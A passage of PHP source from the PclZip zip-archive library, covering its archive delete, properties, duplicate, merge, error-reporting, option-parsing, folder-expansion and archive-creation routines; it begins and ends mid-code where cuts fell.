=> 'optional', PCLZIP_OPT_BY_INDEX => 'optional' )); if ($v_result != 1) { return 0; } } // ----- Magic quotes trick $this->privDisableMagicQuotes(); // ----- Call the delete fct $v_list = array(); if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) { $this->privSwapBackMagicQuotes(); unset($v_list); return(0); } // ----- Magic quotes trick $this->privSwapBackMagicQuotes(); // ----- Return return $v_list; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : deleteByIndex() // Description : // ***** Deprecated ***** // delete(PCLZIP_OPT_BY_INDEX, $p_index) should be prefered. // -------------------------------------------------------------------------------- function deleteByIndex($p_index) { $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index); // ----- Return return $p_list; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : properties() // Description : // This method gives the properties of the archive. // The properties are : // nb : Number of files in the archive // comment : Comment associated with the archive file // status : not_exist, ok // Parameters : // None // Return Values : // 0 on failure, // An array with the archive properties. // -------------------------------------------------------------------------------- function properties() { // ----- Reset the error handler $this->privErrorReset(); // ----- Magic quotes trick $this->privDisableMagicQuotes(); // ----- Check archive if (!$this->privCheckFormat()) { $this->privSwapBackMagicQuotes(); return(0); } // ----- Default properties $v_prop = array(); $v_prop['comment'] = ''; $v_prop['nb'] = 0; $v_prop['status'] = 'not_exist'; // ----- Look if file exists if (@is_file($this->zipname)) { // ----- Open the zip file if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) { $this->privSwapBackMagicQuotes(); // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode'); // ----- Return return 0; } // ----- Read the central directory informations $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privSwapBackMagicQuotes(); return 0; } // ----- Close the zip file $this->privCloseFd(); // ----- Set the user attributes $v_prop['comment'] = $v_central_dir['comment']; $v_prop['nb'] = $v_central_dir['entries']; $v_prop['status'] = 'ok'; } // ----- Magic quotes trick $this->privSwapBackMagicQuotes(); // ----- Return return $v_prop; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : duplicate() // Description : // This method creates an archive by copying the content of an other one. If // the archive already exist, it is replaced by the new one without any warning. // Parameters : // $p_archive : The filename of a valid archive, or // a valid PclZip object. // Return Values : // 1 on success. // 0 or a negative value on error (error code). // -------------------------------------------------------------------------------- function duplicate($p_archive) { $v_result = 1; // ----- Reset the error handler $this->privErrorReset(); // ----- Look if the $p_archive is a PclZip object if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip')) { // ----- Duplicate the archive $v_result = $this->privDuplicate($p_archive->zipname); } // ----- Look if the $p_archive is a string (so a filename) else if (is_string($p_archive)) { // ----- Check that $p_archive is a valid zip file // TBC : Should also check the archive format if (!is_file($p_archive)) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'"); $v_result = PCLZIP_ERR_MISSING_FILE; } else { // ----- Duplicate the archive $v_result = $this->privDuplicate($p_archive); } } // ----- Invalid variable else { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); $v_result = PCLZIP_ERR_INVALID_PARAMETER; } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : merge() // Description : // This method merge the $p_archive_to_add archive at the end of the current // one ($this). // If the archive ($this) does not exist, the merge becomes a duplicate. // If the $p_archive_to_add archive does not exist, the merge is a success. // Parameters : // $p_archive_to_add : It can be directly the filename of a valid zip archive, // or a PclZip object archive. // Return Values : // 1 on success, // 0 or negative values on error (see below). // -------------------------------------------------------------------------------- function merge($p_archive_to_add) { $v_result = 1; // ----- Reset the error handler $this->privErrorReset(); // ----- Check archive if (!$this->privCheckFormat()) { return(0); } // ----- Look if the $p_archive_to_add is a PclZip object if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip')) { // ----- Merge the archive $v_result = $this->privMerge($p_archive_to_add); } // ----- Look if the $p_archive_to_add is a string (so a filename) else if (is_string($p_archive_to_add)) { // ----- Create a temporary archive $v_object_archive = new PclZip($p_archive_to_add); // ----- Merge the archive $v_result = $this->privMerge($v_object_archive); } // ----- Invalid variable else { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); $v_result = PCLZIP_ERR_INVALID_PARAMETER; } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : errorCode() // Description : // Parameters : // -------------------------------------------------------------------------------- function errorCode() { if (PCLZIP_ERROR_EXTERNAL == 1) { return(PclErrorCode()); } else { return($this->error_code); } } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : errorName() // Description : // Parameters : // -------------------------------------------------------------------------------- function errorName($p_with_code=false) { $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR', PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL', PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL', PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER', PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE', PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG', PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP', PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE', PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL', PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION', PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT', PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL', PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL', PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM', PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE', PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE', PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION' ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE' ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION' ); if (isset($v_name[$this->error_code])) { $v_value = $v_name[$this->error_code]; } else { $v_value = 'NoName'; } if ($p_with_code) { return($v_value.' ('.$this->error_code.')'); } else { return($v_value); } } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : errorInfo() // Description : // Parameters : // -------------------------------------------------------------------------------- function errorInfo($p_full=false) { if (PCLZIP_ERROR_EXTERNAL == 1) { return(PclErrorString()); } else { if ($p_full) { return($this->errorName(true)." : ".$this->error_string); } else { return($this->error_string." [code ".$this->error_code."]"); } } } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS ***** // ***** ***** // ***** THESES FUNCTIONS MUST NOT BE USED DIRECTLY ***** // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privCheckFormat() // Description : // This method check that the archive exists and is a valid zip archive. // Several level of check exists. (futur) // Parameters : // $p_level : Level of check. Default 0. // 0 : Check the first bytes (magic codes) (default value)) // 1 : 0 + Check the central directory (futur) // 2 : 1 + Check each file header (futur) // Return Values : // true on success, // false on error, the error code is set. // -------------------------------------------------------------------------------- function privCheckFormat($p_level=0) { $v_result = true; // ----- Reset the file system cache clearstatcache(); // ----- Reset the error handler $this->privErrorReset(); // ----- Look if the file exits if (!is_file($this->zipname)) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'"); return(false); } // ----- Check that the file is readeable if (!is_readable($this->zipname)) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'"); return(false); } // ----- Check the magic code // TBC // ----- Check the central header // TBC // ----- Check each file header // TBC // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privParseOptions() // Description : // This internal methods reads the variable list of arguments ($p_options_list, // $p_size) and generate an array with the options and values ($v_result_list). // $v_requested_options contains the options that can be present and those that // must be present. // $v_requested_options is an array, with the option value as key, and 'optional', // or 'mandatory' as value. // Parameters : // See above. // Return Values : // 1 on success. // 0 on failure. // -------------------------------------------------------------------------------- function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false) { $v_result=1; // ----- Read the options $i=0; while ($i<$p_size) { // ----- Check if the option is supported if (!isset($v_requested_options[$p_options_list[$i]])) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method"); // ----- Return return PclZip::errorCode(); } // ----- Look for next option switch ($p_options_list[$i]) { // ----- Look for options that request a path value case PCLZIP_OPT_PATH : case PCLZIP_OPT_REMOVE_PATH : case PCLZIP_OPT_ADD_PATH : // ----- Check the number of parameters if (($i+1) >= $p_size) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } // ----- Get the value $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); $i++; break; case PCLZIP_OPT_TEMP_FILE_THRESHOLD : // ----- Check the number of parameters if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } // ----- Check for incompatible options if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'"); return PclZip::errorCode(); } // ----- Check the value $v_value = $p_options_list[$i+1]; if ((!is_integer($v_value)) || ($v_value<0)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'"); return PclZip::errorCode(); } // ----- Get the value (and convert it in bytes) $v_result_list[$p_options_list[$i]] = $v_value*1048576; $i++; break; case PCLZIP_OPT_TEMP_FILE_ON : // ----- Check for incompatible options if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = true; break; case PCLZIP_OPT_TEMP_FILE_OFF : // ----- Check for incompatible options if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'"); return PclZip::errorCode(); } // ----- Check for incompatible options if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = true; break; case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : // ----- Check the number of parameters if (($i+1) >= $p_size) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } // ----- Get the value if ( is_string($p_options_list[$i+1]) && ($p_options_list[$i+1] != '')) { $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); $i++; } else { } break; // ----- Look for options that request an array of string for value case PCLZIP_OPT_BY_NAME : // ----- Check the number of parameters if (($i+1) >= $p_size) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } // ----- Get the value if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1]; } else if (is_array($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } $i++; break; // ----- Look for options that request an EREG or PREG expression case PCLZIP_OPT_BY_EREG : // ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG // to PCLZIP_OPT_BY_PREG $p_options_list[$i] = PCLZIP_OPT_BY_PREG; case PCLZIP_OPT_BY_PREG : //case PCLZIP_OPT_CRYPT : // ----- Check the number of parameters if (($i+1) >= $p_size) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } // ----- Get the value if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } $i++; break; // ----- Look for options that takes a string case PCLZIP_OPT_COMMENT : case PCLZIP_OPT_ADD_COMMENT : case PCLZIP_OPT_PREPEND_COMMENT : // ----- Check the number of parameters if (($i+1) >= $p_size) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" .PclZipUtilOptionText($p_options_list[$i]) ."'"); // ----- Return return PclZip::errorCode(); } // ----- Get the value if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '" .PclZipUtilOptionText($p_options_list[$i]) ."'"); // ----- Return return PclZip::errorCode(); } $i++; break; // ----- Look for options that request an array of index case PCLZIP_OPT_BY_INDEX : // ----- Check the number of parameters if (($i+1) >= $p_size) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } // ----- Get the value $v_work_list = array(); if (is_string($p_options_list[$i+1])) { // ----- Remove spaces $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', ''); // ----- Parse items $v_work_list = explode(",", $p_options_list[$i+1]); } else if (is_integer($p_options_list[$i+1])) { $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1]; } else if (is_array($p_options_list[$i+1])) { $v_work_list = $p_options_list[$i+1]; } else { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } // ----- Reduce the index list // each index item in the list must be a couple with a start and // an end value : [0,3], [5-5], [8-10], ... // ----- Check the format of each item $v_sort_flag=false; $v_sort_value=0; for ($j=0; $j<sizeof($v_work_list); $j++) { // ----- Explode the item $v_item_list = explode("-", $v_work_list[$j]); $v_size_item_list = sizeof($v_item_list); // ----- TBC : Here we might check that each item is a // real integer ... // ----- Look for single value if ($v_size_item_list == 1) { // ----- Set the option value $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0]; $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0]; } elseif ($v_size_item_list == 2) { // ----- Set the option value $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0]; $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1]; } else { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } // ----- Look for list sort if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) { $v_sort_flag=true; // ----- TBC : An automatic sort should be writen ... // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start']; } // ----- Sort the items if ($v_sort_flag) { // TBC : To Be Completed } // ----- Next option $i++; break; // ----- Look for options that request no value case PCLZIP_OPT_REMOVE_ALL_PATH : case PCLZIP_OPT_EXTRACT_AS_STRING : case PCLZIP_OPT_NO_COMPRESSION : case PCLZIP_OPT_EXTRACT_IN_OUTPUT : case PCLZIP_OPT_REPLACE_NEWER : case PCLZIP_OPT_STOP_ON_ERROR : $v_result_list[$p_options_list[$i]] = true; break; // ----- Look for options that request an octal value case PCLZIP_OPT_SET_CHMOD : // ----- Check the number of parameters if (($i+1) >= $p_size) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } // ----- Get the value $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; $i++; break; // ----- Look for options that request a call-back case PCLZIP_CB_PRE_EXTRACT : case PCLZIP_CB_POST_EXTRACT : case PCLZIP_CB_PRE_ADD : case PCLZIP_CB_POST_ADD : /* for futur use case PCLZIP_CB_PRE_DELETE : case PCLZIP_CB_POST_DELETE : case PCLZIP_CB_PRE_LIST : case PCLZIP_CB_POST_LIST : */ // ----- Check the number of parameters if (($i+1) >= $p_size) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } // ----- Get the value $v_function_name = $p_options_list[$i+1]; // ----- Check that the value is a valid existing function if (!function_exists($v_function_name)) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'"); // ----- Return return PclZip::errorCode(); } // ----- Set the attribute $v_result_list[$p_options_list[$i]] = $v_function_name; $i++; break; default : // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Unknown parameter '" .$p_options_list[$i]."'"); // ----- Return return PclZip::errorCode(); } // ----- Next options $i++; } // ----- Look for mandatory options if ($v_requested_options !== false) { for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { // ----- Look for mandatory option if ($v_requested_options[$key] == 'mandatory') { // ----- Look if present if (!isset($v_result_list[$key])) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); // ----- Return return PclZip::errorCode(); } } } } // ----- Look for default values if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privOptionDefaultThreshold() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privOptionDefaultThreshold(&$p_options) { $v_result=1; if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) { return $v_result; } // ----- Get 'memory_limit' configuration value $v_memory_limit = ini_get('memory_limit'); $v_memory_limit = trim($v_memory_limit); $last = strtolower(substr($v_memory_limit, -1)); if($last == 'g') //$v_memory_limit = $v_memory_limit*1024*1024*1024; $v_memory_limit = $v_memory_limit*1073741824; if($last == 'm') //$v_memory_limit = $v_memory_limit*1024*1024; $v_memory_limit = $v_memory_limit*1048576; if($last == 'k') $v_memory_limit = $v_memory_limit*1024; $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO); // ----- Sanity check : No threshold if value lower than 1M if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) { unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]); } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privFileDescrParseAtt() // Description : // Parameters : // Return Values : // 1 on success. // 0 on failure. // -------------------------------------------------------------------------------- function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false) { $v_result=1; // ----- For each file in the list check the attributes foreach ($p_file_list as $v_key => $v_value) { // ----- Check if the option is supported if (!isset($v_requested_options[$v_key])) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file"); // ----- Return return PclZip::errorCode(); } // ----- Look for attribute switch ($v_key) { case PCLZIP_ATT_FILE_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } $p_filedescr['filename'] = PclZipUtilPathReduction($v_value); if ($p_filedescr['filename'] == '') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_NEW_SHORT_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value); if ($p_filedescr['new_short_name'] == '') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_NEW_FULL_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value); if ($p_filedescr['new_full_name'] == '') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } break; // ----- Look for options that takes a string case PCLZIP_ATT_FILE_COMMENT : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } $p_filedescr['comment'] = $v_value; break; case PCLZIP_ATT_FILE_MTIME : if (!is_integer($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'"); return PclZip::errorCode(); } $p_filedescr['mtime'] = $v_value; break; case PCLZIP_ATT_FILE_CONTENT : $p_filedescr['content'] = $v_value; break; default : // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Unknown parameter '".$v_key."'"); // ----- Return return PclZip::errorCode(); } // ----- Look for mandatory options if ($v_requested_options !== false) { for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { // ----- Look for mandatory option if ($v_requested_options[$key] == 'mandatory') { // ----- Look if present if (!isset($p_file_list[$key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); return PclZip::errorCode(); } } } } // end foreach } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privFileDescrExpand() // Description : // This method look for each item of the list to see if its a file, a folder // or a string to be added as file. For any other type of files (link, other) // just ignore the item. // Then prepare the information that will be stored for that file. // When its a folder, expand the folder with all the files that are in that // folder (recursively). // Parameters : // Return Values : // 1 on success. // 0 on failure. // -------------------------------------------------------------------------------- function privFileDescrExpand(&$p_filedescr_list, &$p_options) { $v_result=1; // ----- Create a result list $v_result_list = array(); // ----- Look each entry for ($i=0; $i<sizeof($p_filedescr_list); $i++) { // ----- Get filedescr $v_descr = $p_filedescr_list[$i]; // ----- Reduce the filename $v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false); $v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']); // ----- Look for real file or folder if (file_exists($v_descr['filename'])) { if (@is_file($v_descr['filename'])) { $v_descr['type'] = 'file'; } else if (@is_dir($v_descr['filename'])) { $v_descr['type'] = 'folder'; } else if (@is_link($v_descr['filename'])) { // skip continue; } else { // skip continue; } } // ----- Look for string added as file else if (isset($v_descr['content'])) { $v_descr['type'] = 'virtual_file'; } // ----- Missing file else { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exist"); // ----- Return return PclZip::errorCode(); } // ----- Calculate the stored filename $this->privCalculateStoredFilename($v_descr, $p_options); // ----- Add the descriptor in result list $v_result_list[sizeof($v_result_list)] = $v_descr; // ----- Look for folder if ($v_descr['type'] == 'folder') { // ----- List of items in folder $v_dirlist_descr = array(); $v_dirlist_nb = 0; if ($v_folder_handler = @opendir($v_descr['filename'])) { while (($v_item_handler = @readdir($v_folder_handler)) !== false) { // ----- Skip '.' and '..' if (($v_item_handler == '.') || ($v_item_handler == '..')) { continue; } // ----- Compose the full filename $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler; // ----- Look for different stored filename // Because the name of the folder was changed, the name of the // files/sub-folders also change if (($v_descr['stored_filename'] != $v_descr['filename']) && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) { if ($v_descr['stored_filename'] != '') { $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler; } else { $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler; } } $v_dirlist_nb++; } @closedir($v_folder_handler); } else { // TBC : unable to open folder in read mode } // ----- Expand each element of the list if ($v_dirlist_nb != 0) { // ----- Expand if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) { return $v_result; } // ----- Concat the resulting list $v_result_list = array_merge($v_result_list, $v_dirlist_descr); } else { } // ----- Free local array unset($v_dirlist_descr); } } // ----- Get the result list $p_filedescr_list = $v_result_list; // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privCreate() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privCreate($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); // ----- Magic quotes trick $this->privDisableMagicQuotes(); // ----- Open the file in write mode if (($v_result = $this->privOpenFd('wb')) != 1) { // ----- Return return $v_result; } // ----- Add the list of files $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options); // ----- Close $this->privCloseFd(); // ----- Magic quotes trick $this->privSwapBackMagicQuotes(); // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privAdd() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privAdd($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); // ----- Look if the archive exists or is empty if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0)) { // ----- Do a create $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options); // ----- Return return $v_result; } // ----- Magic quotes trick $this->privDisableMagicQuotes(); // ----- Open the zip file if (($v_result=$this->privOpenFd('rb')) != 1) { // ----- Magic quotes trick $this->privSwapBackMagicQuotes(); // ----- Return return $v_result; } // ----- Read the central directory informations $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } // ----- Go to beginning of File @rewind($this->zip_fd); // ----- Creates a temporay file $v_zip_temp_name = 